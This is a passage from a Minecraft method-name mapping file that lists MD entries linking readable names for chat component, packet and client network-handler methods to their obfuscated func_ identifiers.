net/minecraft/util/ChatComponentText/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatComponentText/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatComponentText/createCopy ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentText/func_150259_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentText/getChatComponentText_TextValue ()Ljava/lang/String; net/minecraft/util/ChatComponentText/func_150265_g ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentText/createCopy ()Lnet/minecraft/util/ChatComponentText; net/minecraft/util/ChatComponentText/func_150259_f ()Lnet/minecraft/util/ChatComponentText; +MD: net/minecraft/util/ChatComponentText/toString ()Ljava/lang/String; net/minecraft/util/ChatComponentText/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentTranslation/getFormatArgumentAsComponent (I)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentTranslation/func_150272_a (I)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentTranslation/setChatStyle (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentTranslation/func_150255_a (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentTranslation/initializeFromFormat (Ljava/lang/String;)V net/minecraft/util/ChatComponentTranslation/func_150269_b (Ljava/lang/String;)V +MD: net/minecraft/util/ChatComponentTranslation/getUnformattedTextForChat ()Ljava/lang/String; net/minecraft/util/ChatComponentTranslation/func_150261_e ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentTranslation/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatComponentTranslation/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatComponentTranslation/createCopy ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentTranslation/func_150259_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentTranslation/ensureInitialized ()V net/minecraft/util/ChatComponentTranslation/func_150270_g ()V +MD: net/minecraft/util/ChatComponentTranslation/createCopy ()Lnet/minecraft/util/ChatComponentTranslation; net/minecraft/util/ChatComponentTranslation/func_150259_f ()Lnet/minecraft/util/ChatComponentTranslation; +MD: net/minecraft/util/ChatComponentTranslation/hashCode ()I net/minecraft/util/ChatComponentTranslation/hashCode ()I +MD: net/minecraft/util/ChatComponentTranslation/getKey ()Ljava/lang/String; net/minecraft/util/ChatComponentTranslation/func_150268_i ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentTranslation/iterator ()Ljava/util/Iterator; net/minecraft/util/ChatComponentTranslation/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/ChatComponentTranslation/getFormatArgs ()[Ljava/lang/Object; net/minecraft/util/ChatComponentTranslation/func_150271_j ()[Ljava/lang/Object; +MD: net/minecraft/util/ChatComponentTranslation/toString ()Ljava/lang/String; net/minecraft/util/ChatComponentTranslation/toString ()Ljava/lang/String; +MD: net/minecraft/network/Packet/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/Packet/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/Packet/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/Packet/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/Packet/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/Packet/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/EnumPacketDirection/values ()[Lnet/minecraft/network/EnumPacketDirection; net/minecraft/network/EnumPacketDirection/values ()[Lnet/minecraft/network/EnumPacketDirection; +MD: net/minecraft/network/PacketThreadUtil$1/run ()V net/minecraft/network/PacketThreadUtil$1/run ()V +MD: net/minecraft/network/PacketThreadUtil/checkThreadAndEnqueue (Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V net/minecraft/network/PacketThreadUtil/func_180031_a (Lnet/minecraft/network/Packet;Lnet/minecraft/network/INetHandler;Lnet/minecraft/util/IThreadListener;)V +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180055_a ()I net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180055_a ()I +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180053_a (I)Ljava/util/Set; net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180053_a (I)Ljava/util/Set; +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180056_a (Ljava/util/Set;)I net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180056_a (Ljava/util/Set;)I +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180054_b (I)Z net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/func_180054_b (I)Z +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/values ()[Lnet/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags; net/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags/values ()[Lnet/minecraft/network/play/server/S08PacketPlayerPosLook$EnumFlags; +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/getX ()D net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148932_c ()D +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/getY ()D net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148928_d ()D +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/getZ ()D net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148933_e ()D +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/getYaw ()F net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148931_f ()F +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/getPitch ()F net/minecraft/network/play/server/S08PacketPlayerPosLook/func_148930_g ()F +MD: net/minecraft/network/play/server/S08PacketPlayerPosLook/func_179834_f ()Ljava/util/Set; net/minecraft/network/play/server/S08PacketPlayerPosLook/func_179834_f ()Ljava/util/Set; +MD: net/minecraft/network/play/INetHandlerPlayClient/handlePlayerPosLook (Lnet/minecraft/network/play/server/S08PacketPlayerPosLook;)V net/minecraft/network/play/INetHandlerPlayClient/func_147258_a (Lnet/minecraft/network/play/server/S08PacketPlayerPosLook;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnObject (Lnet/minecraft/network/play/server/S0EPacketSpawnObject;)V net/minecraft/network/play/INetHandlerPlayClient/func_147235_a (Lnet/minecraft/network/play/server/S0EPacketSpawnObject;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnExperienceOrb (Lnet/minecraft/network/play/server/S11PacketSpawnExperienceOrb;)V net/minecraft/network/play/INetHandlerPlayClient/func_147286_a (Lnet/minecraft/network/play/server/S11PacketSpawnExperienceOrb;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnGlobalEntity (Lnet/minecraft/network/play/server/S2CPacketSpawnGlobalEntity;)V net/minecraft/network/play/INetHandlerPlayClient/func_147292_a (Lnet/minecraft/network/play/server/S2CPacketSpawnGlobalEntity;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnMob (Lnet/minecraft/network/play/server/S0FPacketSpawnMob;)V net/minecraft/network/play/INetHandlerPlayClient/func_147281_a (Lnet/minecraft/network/play/server/S0FPacketSpawnMob;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnPainting (Lnet/minecraft/network/play/server/S10PacketSpawnPainting;)V net/minecraft/network/play/INetHandlerPlayClient/func_147288_a (Lnet/minecraft/network/play/server/S10PacketSpawnPainting;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnPlayer (Lnet/minecraft/network/play/server/S0CPacketSpawnPlayer;)V net/minecraft/network/play/INetHandlerPlayClient/func_147237_a (Lnet/minecraft/network/play/server/S0CPacketSpawnPlayer;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleAnimation (Lnet/minecraft/network/play/server/S0BPacketAnimation;)V net/minecraft/network/play/INetHandlerPlayClient/func_147279_a (Lnet/minecraft/network/play/server/S0BPacketAnimation;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleStatistics (Lnet/minecraft/network/play/server/S37PacketStatistics;)V net/minecraft/network/play/INetHandlerPlayClient/func_147293_a (Lnet/minecraft/network/play/server/S37PacketStatistics;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleBlockBreakAnim (Lnet/minecraft/network/play/server/S25PacketBlockBreakAnim;)V net/minecraft/network/play/INetHandlerPlayClient/func_147294_a (Lnet/minecraft/network/play/server/S25PacketBlockBreakAnim;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleUpdateTileEntity (Lnet/minecraft/network/play/server/S35PacketUpdateTileEntity;)V net/minecraft/network/play/INetHandlerPlayClient/func_147273_a (Lnet/minecraft/network/play/server/S35PacketUpdateTileEntity;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleBlockAction (Lnet/minecraft/network/play/server/S24PacketBlockAction;)V net/minecraft/network/play/INetHandlerPlayClient/func_147261_a (Lnet/minecraft/network/play/server/S24PacketBlockAction;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleBlockChange (Lnet/minecraft/network/play/server/S23PacketBlockChange;)V net/minecraft/network/play/INetHandlerPlayClient/func_147234_a (Lnet/minecraft/network/play/server/S23PacketBlockChange;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleServerDifficulty (Lnet/minecraft/network/play/server/S41PacketServerDifficulty;)V net/minecraft/network/play/INetHandlerPlayClient/func_175101_a (Lnet/minecraft/network/play/server/S41PacketServerDifficulty;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleTabComplete (Lnet/minecraft/network/play/server/S3APacketTabComplete;)V net/minecraft/network/play/INetHandlerPlayClient/func_147274_a (Lnet/minecraft/network/play/server/S3APacketTabComplete;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleChat (Lnet/minecraft/network/play/server/S02PacketChat;)V net/minecraft/network/play/INetHandlerPlayClient/func_147251_a (Lnet/minecraft/network/play/server/S02PacketChat;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleMultiBlockChange (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)V net/minecraft/network/play/INetHandlerPlayClient/func_147287_a (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleConfirmTransaction (Lnet/minecraft/network/play/server/S32PacketConfirmTransaction;)V net/minecraft/network/play/INetHandlerPlayClient/func_147239_a (Lnet/minecraft/network/play/server/S32PacketConfirmTransaction;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleCloseWindow (Lnet/minecraft/network/play/server/S2EPacketCloseWindow;)V net/minecraft/network/play/INetHandlerPlayClient/func_147276_a (Lnet/minecraft/network/play/server/S2EPacketCloseWindow;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleOpenWindow (Lnet/minecraft/network/play/server/S2DPacketOpenWindow;)V net/minecraft/network/play/INetHandlerPlayClient/func_147265_a (Lnet/minecraft/network/play/server/S2DPacketOpenWindow;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleWindowItems (Lnet/minecraft/network/play/server/S30PacketWindowItems;)V net/minecraft/network/play/INetHandlerPlayClient/func_147241_a (Lnet/minecraft/network/play/server/S30PacketWindowItems;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleWindowProperty (Lnet/minecraft/network/play/server/S31PacketWindowProperty;)V net/minecraft/network/play/INetHandlerPlayClient/func_147245_a (Lnet/minecraft/network/play/server/S31PacketWindowProperty;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSetSlot (Lnet/minecraft/network/play/server/S2FPacketSetSlot;)V net/minecraft/network/play/INetHandlerPlayClient/func_147266_a (Lnet/minecraft/network/play/server/S2FPacketSetSlot;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleCustomPayload (Lnet/minecraft/network/play/server/S3FPacketCustomPayload;)V net/minecraft/network/play/INetHandlerPlayClient/func_147240_a (Lnet/minecraft/network/play/server/S3FPacketCustomPayload;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleDisconnect (Lnet/minecraft/network/play/server/S40PacketDisconnect;)V net/minecraft/network/play/INetHandlerPlayClient/func_147253_a (Lnet/minecraft/network/play/server/S40PacketDisconnect;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityStatus (Lnet/minecraft/network/play/server/S19PacketEntityStatus;)V net/minecraft/network/play/INetHandlerPlayClient/func_147236_a (Lnet/minecraft/network/play/server/S19PacketEntityStatus;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityNBT (Lnet/minecraft/network/play/server/S49PacketUpdateEntityNBT;)V net/minecraft/network/play/INetHandlerPlayClient/func_175097_a (Lnet/minecraft/network/play/server/S49PacketUpdateEntityNBT;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleExplosion (Lnet/minecraft/network/play/server/S27PacketExplosion;)V net/minecraft/network/play/INetHandlerPlayClient/func_147283_a (Lnet/minecraft/network/play/server/S27PacketExplosion;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSetCompressionLevel (Lnet/minecraft/network/play/server/S46PacketSetCompressionLevel;)V net/minecraft/network/play/INetHandlerPlayClient/func_175100_a (Lnet/minecraft/network/play/server/S46PacketSetCompressionLevel;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleChangeGameState (Lnet/minecraft/network/play/server/S2BPacketChangeGameState;)V net/minecraft/network/play/INetHandlerPlayClient/func_147252_a (Lnet/minecraft/network/play/server/S2BPacketChangeGameState;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleKeepAlive (Lnet/minecraft/network/play/server/S00PacketKeepAlive;)V net/minecraft/network/play/INetHandlerPlayClient/func_147272_a (Lnet/minecraft/network/play/server/S00PacketKeepAlive;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleChunkData (Lnet/minecraft/network/play/server/S21PacketChunkData;)V net/minecraft/network/play/INetHandlerPlayClient/func_147263_a (Lnet/minecraft/network/play/server/S21PacketChunkData;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleMapChunkBulk (Lnet/minecraft/network/play/server/S26PacketMapChunkBulk;)V net/minecraft/network/play/INetHandlerPlayClient/func_147269_a (Lnet/minecraft/network/play/server/S26PacketMapChunkBulk;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEffect (Lnet/minecraft/network/play/server/S28PacketEffect;)V net/minecraft/network/play/INetHandlerPlayClient/func_147277_a (Lnet/minecraft/network/play/server/S28PacketEffect;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleParticles (Lnet/minecraft/network/play/server/S2APacketParticles;)V net/minecraft/network/play/INetHandlerPlayClient/func_147289_a (Lnet/minecraft/network/play/server/S2APacketParticles;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSoundEffect (Lnet/minecraft/network/play/server/S29PacketSoundEffect;)V net/minecraft/network/play/INetHandlerPlayClient/func_147255_a (Lnet/minecraft/network/play/server/S29PacketSoundEffect;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleJoinGame (Lnet/minecraft/network/play/server/S01PacketJoinGame;)V net/minecraft/network/play/INetHandlerPlayClient/func_147282_a (Lnet/minecraft/network/play/server/S01PacketJoinGame;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleMaps (Lnet/minecraft/network/play/server/S34PacketMaps;)V net/minecraft/network/play/INetHandlerPlayClient/func_147264_a (Lnet/minecraft/network/play/server/S34PacketMaps;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityMovement (Lnet/minecraft/network/play/server/S14PacketEntity;)V net/minecraft/network/play/INetHandlerPlayClient/func_147259_a (Lnet/minecraft/network/play/server/S14PacketEntity;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSignEditorOpen (Lnet/minecraft/network/play/server/S36PacketSignEditorOpen;)V net/minecraft/network/play/INetHandlerPlayClient/func_147268_a (Lnet/minecraft/network/play/server/S36PacketSignEditorOpen;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handlePlayerAbilities (Lnet/minecraft/network/play/server/S39PacketPlayerAbilities;)V net/minecraft/network/play/INetHandlerPlayClient/func_147270_a (Lnet/minecraft/network/play/server/S39PacketPlayerAbilities;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleCombatEvent (Lnet/minecraft/network/play/server/S42PacketCombatEvent;)V net/minecraft/network/play/INetHandlerPlayClient/func_175098_a (Lnet/minecraft/network/play/server/S42PacketCombatEvent;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handlePlayerListItem (Lnet/minecraft/network/play/server/S38PacketPlayerListItem;)V net/minecraft/network/play/INetHandlerPlayClient/func_147256_a (Lnet/minecraft/network/play/server/S38PacketPlayerListItem;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleUseBed (Lnet/minecraft/network/play/server/S0APacketUseBed;)V net/minecraft/network/play/INetHandlerPlayClient/func_147278_a (Lnet/minecraft/network/play/server/S0APacketUseBed;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleDestroyEntities (Lnet/minecraft/network/play/server/S13PacketDestroyEntities;)V net/minecraft/network/play/INetHandlerPlayClient/func_147238_a (Lnet/minecraft/network/play/server/S13PacketDestroyEntities;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleRemoveEntityEffect (Lnet/minecraft/network/play/server/S1EPacketRemoveEntityEffect;)V net/minecraft/network/play/INetHandlerPlayClient/func_147262_a (Lnet/minecraft/network/play/server/S1EPacketRemoveEntityEffect;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleResourcePack (Lnet/minecraft/network/play/server/S48PacketResourcePackSend;)V net/minecraft/network/play/INetHandlerPlayClient/func_175095_a (Lnet/minecraft/network/play/server/S48PacketResourcePackSend;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleRespawn (Lnet/minecraft/network/play/server/S07PacketRespawn;)V net/minecraft/network/play/INetHandlerPlayClient/func_147280_a (Lnet/minecraft/network/play/server/S07PacketRespawn;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityHeadLook (Lnet/minecraft/network/play/server/S19PacketEntityHeadLook;)V net/minecraft/network/play/INetHandlerPlayClient/func_147267_a (Lnet/minecraft/network/play/server/S19PacketEntityHeadLook;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleWorldBorder (Lnet/minecraft/network/play/server/S44PacketWorldBorder;)V net/minecraft/network/play/INetHandlerPlayClient/func_175093_a (Lnet/minecraft/network/play/server/S44PacketWorldBorder;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleCamera (Lnet/minecraft/network/play/server/S43PacketCamera;)V net/minecraft/network/play/INetHandlerPlayClient/func_175094_a (Lnet/minecraft/network/play/server/S43PacketCamera;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleHeldItemChange (Lnet/minecraft/network/play/server/S09PacketHeldItemChange;)V net/minecraft/network/play/INetHandlerPlayClient/func_147257_a (Lnet/minecraft/network/play/server/S09PacketHeldItemChange;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleDisplayScoreboard (Lnet/minecraft/network/play/server/S3DPacketDisplayScoreboard;)V net/minecraft/network/play/INetHandlerPlayClient/func_147254_a (Lnet/minecraft/network/play/server/S3DPacketDisplayScoreboard;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityMetadata (Lnet/minecraft/network/play/server/S1CPacketEntityMetadata;)V net/minecraft/network/play/INetHandlerPlayClient/func_147284_a (Lnet/minecraft/network/play/server/S1CPacketEntityMetadata;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityAttach (Lnet/minecraft/network/play/server/S1BPacketEntityAttach;)V net/minecraft/network/play/INetHandlerPlayClient/func_147243_a (Lnet/minecraft/network/play/server/S1BPacketEntityAttach;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityVelocity (Lnet/minecraft/network/play/server/S12PacketEntityVelocity;)V net/minecraft/network/play/INetHandlerPlayClient/func_147244_a (Lnet/minecraft/network/play/server/S12PacketEntityVelocity;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityEquipment (Lnet/minecraft/network/play/server/S04PacketEntityEquipment;)V net/minecraft/network/play/INetHandlerPlayClient/func_147242_a (Lnet/minecraft/network/play/server/S04PacketEntityEquipment;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSetExperience (Lnet/minecraft/network/play/server/S1FPacketSetExperience;)V net/minecraft/network/play/INetHandlerPlayClient/func_147295_a (Lnet/minecraft/network/play/server/S1FPacketSetExperience;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleUpdateHealth (Lnet/minecraft/network/play/server/S06PacketUpdateHealth;)V net/minecraft/network/play/INetHandlerPlayClient/func_147249_a (Lnet/minecraft/network/play/server/S06PacketUpdateHealth;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleScoreboardObjective (Lnet/minecraft/network/play/server/S3BPacketScoreboardObjective;)V net/minecraft/network/play/INetHandlerPlayClient/func_147291_a (Lnet/minecraft/network/play/server/S3BPacketScoreboardObjective;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleTeams (Lnet/minecraft/network/play/server/S3EPacketTeams;)V net/minecraft/network/play/INetHandlerPlayClient/func_147247_a (Lnet/minecraft/network/play/server/S3EPacketTeams;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleUpdateScore (Lnet/minecraft/network/play/server/S3CPacketUpdateScore;)V net/minecraft/network/play/INetHandlerPlayClient/func_147250_a (Lnet/minecraft/network/play/server/S3CPacketUpdateScore;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleSpawnPosition (Lnet/minecraft/network/play/server/S05PacketSpawnPosition;)V net/minecraft/network/play/INetHandlerPlayClient/func_147271_a (Lnet/minecraft/network/play/server/S05PacketSpawnPosition;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleTimeUpdate (Lnet/minecraft/network/play/server/S03PacketTimeUpdate;)V net/minecraft/network/play/INetHandlerPlayClient/func_147285_a (Lnet/minecraft/network/play/server/S03PacketTimeUpdate;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleTitle (Lnet/minecraft/network/play/server/S45PacketTitle;)V net/minecraft/network/play/INetHandlerPlayClient/func_175099_a (Lnet/minecraft/network/play/server/S45PacketTitle;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleUpdateSign (Lnet/minecraft/network/play/server/S33PacketUpdateSign;)V net/minecraft/network/play/INetHandlerPlayClient/func_147248_a (Lnet/minecraft/network/play/server/S33PacketUpdateSign;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handlePlayerListHeaderFooter (Lnet/minecraft/network/play/server/S47PacketPlayerListHeaderFooter;)V net/minecraft/network/play/INetHandlerPlayClient/func_175096_a (Lnet/minecraft/network/play/server/S47PacketPlayerListHeaderFooter;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleCollectItem (Lnet/minecraft/network/play/server/S0DPacketCollectItem;)V net/minecraft/network/play/INetHandlerPlayClient/func_147246_a (Lnet/minecraft/network/play/server/S0DPacketCollectItem;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityTeleport (Lnet/minecraft/network/play/server/S18PacketEntityTeleport;)V net/minecraft/network/play/INetHandlerPlayClient/func_147275_a (Lnet/minecraft/network/play/server/S18PacketEntityTeleport;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityProperties (Lnet/minecraft/network/play/server/S20PacketEntityProperties;)V net/minecraft/network/play/INetHandlerPlayClient/func_147290_a (Lnet/minecraft/network/play/server/S20PacketEntityProperties;)V +MD: net/minecraft/network/play/INetHandlerPlayClient/handleEntityEffect (Lnet/minecraft/network/play/server/S1DPacketEntityEffect;)V net/minecraft/network/play/INetHandlerPlayClient/func_147260_a (Lnet/minecraft/network/play/server/S1DPacketEntityEffect;)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getEntityID ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149001_c ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setX (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148996_a (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getX ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_148997_d ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setY (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148995_b (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getY ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_148998_e ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setZ (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_149005_c (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getZ ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_148994_f ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setSpeedX (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_149003_d (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getSpeedX ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149010_g ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setSpeedY (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_149000_e (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getSpeedY ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149004_h ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/setSpeedZ (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_149007_f (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getSpeedZ ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_148999_i ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/func_149002_g (I)V net/minecraft/network/play/server/S0EPacketSpawnObject/func_149002_g (I)V +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getPitch ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149008_j ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getYaw ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149006_k ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/getType ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_148993_l ()I +MD: net/minecraft/network/play/server/S0EPacketSpawnObject/func_149009_m ()I net/minecraft/network/play/server/S0EPacketSpawnObject/func_149009_m ()I +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/getEntityID ()I net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148985_c ()I +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/getX ()I net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/func_148984_d ()I +MD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/writePacketData (Lnet/minecraft/network/PacketBuffer;)V 